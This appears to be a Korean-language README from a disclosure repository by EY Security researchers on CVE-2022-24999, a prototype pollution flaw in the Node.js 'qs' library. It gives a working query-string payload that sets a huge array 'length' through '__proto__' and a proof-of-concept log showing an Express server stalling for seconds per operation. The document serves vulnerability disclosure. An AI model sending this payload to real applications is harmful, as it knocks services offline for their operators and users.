
"qs" 프로토타입 오염 취약점 ( CVE-2022-24999 )
이 저장소에는 2021년 12월에 JS 라이브러리 "qs"에서 발견한 취약점의 익스플로잇 샘플이 포함되어 있습니다.
취약한 버전의 "qs"는 출력 JS 객체에 "proto" 속성을 생성할 수 있습니다.
"__ proto__" 속성에 배열을 설정함으로써 "array-like" 객체를 생성할 수 있었습니다.
결과 객체는 "Array" 프로토타입을 상속받으므로 기본 배열 함수를 노출합니다.
하지만 여전히 객체이기 때문에 "qs"는 "length" 속성을 설정할 수 있습니다.
예를 들어, 다음 페이로드는 이런 "악성" 배열을 생성합니다 :
categories[_proto__]&categories[_proto__]&categories[length]=100000000
따라서 합리적이지 않은 "length" 값을 설정하면 노드 프로세스가 이를 문자열 값으로 변환하거나 대부분의 기본 배열 함수를 호출하려고 할 때 즉시 중단됩니다.
이로 인해 취약한 버전의 "qs"를 사용하고 기본 Express 구성을 사용하며 강력한 검증 시스템이 없는 모든 Node 애플리케이션이 애플리케이션 DOS 공격에 노출됩니다.
다음은 ./express-qs-string-bomb에 있는 poc의 로그 예시입니다 :
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
분석 결과 다른 악용 방식도 가능함을 확인할 수 있었습니다.
이 중 일부는 ./qs-vulns 디렉토리에서 설명합니다.
BRAUN Nathanael & BRISSAUD Johan
For EY Security, France